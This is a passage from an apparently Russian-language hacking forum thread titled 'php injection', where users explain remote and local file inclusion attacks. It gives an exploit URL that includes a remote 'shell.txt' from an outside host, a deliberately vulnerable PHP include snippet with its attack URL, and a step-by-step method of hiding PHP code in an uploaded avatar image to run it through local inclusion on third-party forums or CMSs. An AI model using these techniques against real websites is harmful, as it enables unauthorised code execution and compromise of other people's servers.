FORUMS

MEMBERS

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
php injection

Страница 7 из 8

« Первая

Опции темы

Поиск в этой теме

Опции просмотра

12.11.2009, 22:56

ElteRUS

Постоянный

Регистрация: 11.10.2007

Сообщений: 406

Провел на форуме:
7215020

Репутация: 1423

Цитата:

Сообщение от B0o0M

index.php?page=http://nabstre.tu2.ru/shell.txt? вот почему в конце ? никак не пойму,
если можно то плиссс с примером исходного кода

http://forum.antichat.ru/thread23501.html

см Примечания к перовму разделу

12.11.2009, 23:18

Ins3t

Участник форума

Регистрация: 18.07.2009

Сообщений: 272

Провел на форуме:
2083691

Репутация: 330

Бум, елементарный пример:

PHP код:


		
			
<?

$re = $_GET['re'];

include($re.".php");

?>

Цитата:

localhost/script.php?re=http://localhost/shell.txt?

13.06.2011, 02:07

Static

Guest

Сообщений: n/a

Провел на форуме:
4285

Репутация: 0

Цитата:

Сообщение от None

Можно залить gif картинку и поместить в конец простенький шелл подставить

Код:

Code:
php highlight:

при инклуде картинки она проинклудится не как картинка а как php код...

прочел на форуме одном

можете подробней описать сей процесс ? ни как дойти не может

13.06.2011, 02:11

mailbrush

Познавший АНТИЧАТ

Регистрация: 24.06.2008

Сообщений: 1,996

Провел на форуме:
6075534

Репутация: 2731

Отправить сообщение для mailbrush с помощью ICQ

Смотри... У тебя есть локальный инклуд. Твоя задача - подставить туда такой файл, чтобы выполнялся твой код. Ищешь какие-нибудь форумы, cms'ки и т.д. Регаешься там. И заливаешь туда картинку как аватарку. Но до этого в конец этой картинки вставляешь свой код. Таким образом, проинклудив эту аватарку, у тебя есть выполняется твой evil-code.